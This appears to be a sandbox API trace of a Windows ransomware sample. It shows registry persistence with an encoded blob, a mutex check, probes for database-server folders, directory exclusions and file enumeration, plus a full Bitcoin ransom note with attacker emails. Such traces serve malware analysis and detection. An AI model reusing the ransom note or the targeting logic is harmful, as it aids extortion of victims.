GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.035] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.035] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.035] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.035] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.035] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.036] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.036] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.036] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.036] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.036] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.036] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.036] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.036] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.036] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.036] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.036] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0264.036] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.036] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.036] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0264.036] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.036] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.036] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.036] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.037] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.037] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.037] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.037] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.037] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.037] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.037] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\shwlwook", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x19f100, lpdwDisposition=0x19f104 | out: phkResult=0x19f100*=0x378, lpdwDisposition=0x19f104*=0x1) returned 0x0 [0264.039] RegSetValueExA (in: hKey=0x378, lpValueName="temp", Reserved=0x0, dwType=0x1, lpData="LQMAAAAAAACdzGBIK3qN2PikvwwDKqsN77f+BFRqAolPV2bGlsX8obo1SM8ffliIbeO6r+dVx=4B2G8gQGcb40FFUsZ9QSioFvAhw5RuST3Dj3cgySNj0kWRfMoyPcWm03tgc15HtHfrA1dbeb8x38CBrAhr21PyPDs+Zfxhd7rAmX8s1AN9o0kZjXusJDZAP1lec0X9zrGeyFIJZVmu9xIBKhtsHvIC3UAxax4J9OTfK+WuXSYM5xNtyBDL82jzrsHMxqUSw=eCQ2uR2dg1hXpYiPws=TCSsw8BFt18jq9Goiir8K83ck7oNh3npwopr0if0ElxsXHz7G5qJh+I+otLWHK2dL50TYq3O1JNlnEfM0UNvk0j7coHsdMPyl59YjkiyS96BuYlHdPwzG5vqtzXHSystkPBa7aDNBknJ5Eu=cuZKyl8ECnA+ECyq2GnrNNvnK3DIXrskavDXU=HTH=SfX1Jz40CatNS90gTzXMqGdRNYhXXnoKKB1KAVYmMcdpzzc+MgsWlRH05zdLr08uplDKAaDll74=vOyr3wbGJk3d4vS8Mgg8=SHFn=SkF1XFS5xibXwvWYOANBxG5pyzXa45Ueqmm0N=hvzwauVX8wVafHHWThCpF7yrg9+qXY53El+nWpswBLDvIOnrYSXhseoPkqV37qsBFG7HtUjm9V2z5zxYv07+plNtd14FSGBhHHHbgWAKfKIuRwx5fBHMjQopVc6I=vN4B17UUlPEk7BbXxTj+kH=k8PUNjPZpcbQCMOTiyo+b=19aDScEr74wlepk43D2q7THOKQfIpqOihYpnAlmaPh32te4MnN8N3ghBL7KG7hCtnzJUhhvzmr5N03TK3TPmDXo+SMiqrnxV+oz8SgIZU8EMCu+u75gTCqHDQVnWukopR4fqM8pm2H1NrtboTHL6lV2fXWlHjTZcxQHuVYg94DSi4IdXDbJa7MiOLdtQPV3ZXZ9B3nO3vBe+1OOEYuKFOO1=nHt1G2iY2+1nHrtbbdmOUozwsw6swGCRcanfhiuNer1aZfnDhVXlx=BQ0hP5x50ffmP70ODysuAdFQ5Q9Rsfkf4iS8vGuPFh=9dVI8", cbData=0x44c | out: lpData="LQMAAAAAAACdzGBIK3qN2PikvwwDKqsN77f+BFRqAolPV2bGlsX8obo1SM8ffliIbeO6r+dVx=4B2G8gQGcb40FFUsZ9QSioFvAhw5RuST3Dj3cgySNj0kWRfMoyPcWm03tgc15HtHfrA1dbeb8x38CBrAhr21PyPDs+Zfxhd7rAmX8s1AN9o0kZjXusJDZAP1lec0X9zrGeyFIJZVmu9xIBKhtsHvIC3UAxax4J9OTfK+WuXSYM5xNtyBDL82jzrsHMxqUSw=eCQ2uR2dg1hXpYiPws=TCSsw8BFt18jq9Goiir8K83ck7oNh3npwopr0if0ElxsXHz7G5qJh+I+otLWHK2dL50TYq3O1JNlnEfM0UNvk0j7coHsdMPyl59YjkiyS96BuYlHdPwzG5vqtzXHSystkPBa7aDNBknJ5Eu=cuZKyl8ECnA+ECyq2GnrNNvnK3DIXrskavDXU=HTH=SfX1Jz40CatNS90gTzXMqGdRNYhXXnoKKB1KAVYmMcdpzzc+MgsWlRH05zdLr08uplDKAaDll74=vOyr3wbGJk3d4vS8Mgg8=SHFn=SkF1XFS5xibXwvWYOANBxG5pyzXa45Ueqmm0N=hvzwauVX8wVafHHWThCpF7yrg9+qXY53El+nWpswBLDvIOnrYSXhseoPkqV37qsBFG7HtUjm9V2z5zxYv07+plNtd14FSGBhHHHbgWAKfKIuRwx5fBHMjQopVc6I=vN4B17UUlPEk7BbXxTj+kH=k8PUNjPZpcbQCMOTiyo+b=19aDScEr74wlepk43D2q7THOKQfIpqOihYpnAlmaPh32te4MnN8N3ghBL7KG7hCtnzJUhhvzmr5N03TK3TPmDXo+SMiqrnxV+oz8SgIZU8EMCu+u75gTCqHDQVnWukopR4fqM8pm2H1NrtboTHL6lV2fXWlHjTZcxQHuVYg94DSi4IdXDbJa7MiOLdtQPV3ZXZ9B3nO3vBe+1OOEYuKFOO1=nHt1G2iY2+1nHrtbbdmOUozwsw6swGCRcanfhiuNer1aZfnDhVXlx=BQ0hP5x50ffmP70ODysuAdFQ5Q9Rsfkf4iS8vGuPFh=9dVI8") returned 0x0 [0264.039] RegCloseKey (hKey=0x378) returned 0x0 [0264.040] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.040] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.040] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.040] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.040] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0264.040] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.040] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.040] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0264.040] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.040] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0264.107] GetTickCount () returned 0x4146f [0264.107] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4044d8, lpParameter=0x3f31b90, dwCreationFlags=0x0, lpThreadId=0x19f204 | out: lpThreadId=0x19f204*=0xf84) returned 0x390 [0264.108] GetTickCount () returned 0x4146f [0264.108] Sleep (dwMilliseconds=0x1) [0264.161] CloseHandle (hObject=0x390) returned 1 [0264.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f31b98, cbMultiByte=3, lpWideCharStr=0x19e1f4, cchWideChar=2047 | out: lpWideCharStr="C:\\") returned 3 [0264.161] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.161] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.161] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.161] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.161] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.161] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.161] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.161] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.161] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.162] SysReAllocStringLen (in: pbstr=0x19f1f8*=0x0, psz="C:\\", len=0x3 | out: pbstr=0x19f1f8*="C:\\") returned 1 [0264.162] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.162] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.162] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.162] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.162] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0264.162] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.162] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.162] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0264.162] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.162] FindFirstFileW (in: lpFileName="C:\\Microsoft\\Exchange Server", lpFindFileData=0x19ec74 | out: lpFindFileData=0x19ec74) returned 0xffffffff [0264.162] GetLastError () returned 0x3 [0264.163] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ced0, cbMultiByte=26, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0264.163] FindFirstFileW (in: lpFileName="C:\\Microsoft SQL Server", lpFindFileData=0x19ec74 | out: lpFindFileData=0x19ec74) returned 0xffffffff [0264.163] GetLastError () returned 0x2 [0264.163] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f1ced0, cbMultiByte=21, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\疼\x16") returned 21 [0264.163] FindFirstFileW (in: lpFileName="C:\\Firebird", lpFindFileData=0x19ec74 | out: lpFindFileData=0x19ec74) returned 0xffffffff [0264.163] GetLastError () returned 0x2 [0264.163] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.163] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=9, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0264.164] FindFirstFileW (in: lpFileName="C:\\MSSQL.1", lpFindFileData=0x19ec74 | out: lpFindFileData=0x19ec74) returned 0xffffffff [0264.164] GetLastError () returned 0x2 [0264.164] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=8, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0264.164] FindFirstFileW (in: lpFileName="C:\\Microsoft SQL Server Compact Edition", lpFindFileData=0x19ec74 | out: lpFindFileData=0x19ec74) returned 0xffffffff [0264.164] GetLastError () returned 0x2 [0264.164] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.164] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ec01c8, cbMultiByte=37, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0264.164] FindFirstFileW (in: lpFileName="C:\\Adobe", lpFindFileData=0x19ec74 | out: lpFindFileData=0x19ec74) returned 0xffffffff [0264.165] GetLastError () returned 0x2 [0264.165] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=6, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="adobe\\") returned 6 [0264.165] FindFirstFileW (in: lpFileName="C:\\Oracle", lpFindFileData=0x19ec74 | out: lpFindFileData=0x19ec74) returned 0xffffffff [0264.165] GetLastError () returned 0x2 [0264.165] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.165] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=7, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="oracle\\") returned 7 [0264.165] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.165] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.165] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.165] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.165] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.165] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.166] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.166] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.166] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.166] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.166] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x19ea70, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0264.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aa68, cbMultiByte=15, lpWideCharStr=0x19de70, cchWideChar=2047 | out: lpWideCharStr) returned 15 [0264.166] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.166] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x19ea70, nSize=0x400 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x1f [0264.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=32, lpWideCharStr=0x19de70, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\fd1hvy\\appdata\\roaming\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 32 [0264.166] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.166] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x19ea70, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0264.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19de70, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\\\appdata\\roaming\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 15 [0264.166] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.166] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x19ea70, nSize=0x400 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0264.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39a38, cbMultiByte=11, lpWideCharStr=0x19de70, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\\\appdata\\roaming\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 11 [0264.166] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.167] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.167] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.167] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.167] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0264.167] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.167] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.167] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0264.167] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.167] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=15, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\data\\roaming\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 15 [0264.167] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=11, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\data\\roaming\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 11 [0264.167] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.167] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=9, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\data\\roaming\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 9 [0264.168] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=18, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="\\application data\\a\\roaming\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 18 [0264.168] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=28, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 28 [0264.168] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=10, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 10 [0264.168] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=8, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 8 [0264.168] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f39af8, cbMultiByte=9, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 9 [0264.168] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.168] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f2aaa8, cbMultiByte=13, lpWideCharStr=0x19de78, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\䵾@碔έ䴣@ꟈϪOracle\\ft SQL Server Compact Edition\\") returned 13 [0264.168] CharLowerBuffW (in: lpsz="C:\\", cchLength=0x3 | out: lpsz="c:\\") returned 0x3 [0264.169] SHGetMalloc (in: ppMalloc=0x19eec0 | out: ppMalloc=0x19eec0*=0x75e4d000) returned 0x0 [0264.169] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=0, ppidl=0x19eebc | out: ppidl=0x19eebc) returned 0x0 [0264.169] SHGetPathFromIDListW (in: pidl=0x6e47e8, pszPath=0x3add5d4 | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0264.181] SysReAllocStringLen (in: pbstr=0x19ef44*=0x0, psz="C:\\Users\\FD1HVy\\Desktop", len=0x17 | out: pbstr=0x19ef44*="C:\\Users\\FD1HVy\\Desktop") returned 1 [0264.181] IMalloc:Free (This=0x75e4d000, pv=0x6e47e8) [0264.181] IUnknown:AddRef (This=0x75e4d000) returned 0x1 [0264.181] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop", cchLength=0x17 | out: lpsz="c:\\users\\fd1hvy\\desktop") returned 0x17 [0264.181] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.181] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.181] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.181] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.181] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.181] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.181] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.181] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.181] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.182] FindFirstFileW (in: lpFileName="C:\\*.*", lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 0x6da090 [0264.182] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.182] FindNextFileW (in: hFindFile=0x6da090, lpFindFileData=0x19ef98 | out: lpFindFileData=0x19ef98) returned 1 [0264.182] FileTimeToLocalFileTime (in: lpFileTime=0x19efac, lpLocalFileTime=0x19eebc | out: lpLocalFileTime=0x19eebc) returned 1 [0264.182] FileTimeToDosDateTime (in: lpFileTime=0x19eebc, lpFatDate=0x19ef7a, lpFatTime=0x19ef78 | out: lpFatDate=0x19ef7a, lpFatTime=0x19ef78) returned 1 [0264.182] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.182] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.182] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.182] GlobalLock (hMem=0x3f40004) returned 0x3ae15f0 [0264.182] GlobalLock (hMem=0x3f4000c) returned 0x3ae3600 [0264.182] GlobalHandle (pMem=0x3ae15f0) returned 0x3f40004 [0264.182] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.182] GlobalHandle (pMem=0x3ae3600) returned 0x3f4000c [0264.182] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.182] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.183] CharLowerBuffW (in: lpsz="$WINRE_BACKUP_PARTITION.MARKER", cchLength=0x1e | out: lpsz="$winre_backup_partition.marker") returned 0x1e [0264.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.183] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".î\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iî\x19", lpUsedDefaultChar=0x0) returned 1 [0264.186] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19de50, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tî\x19", lpUsedDefaultChar=0x0) returned 1 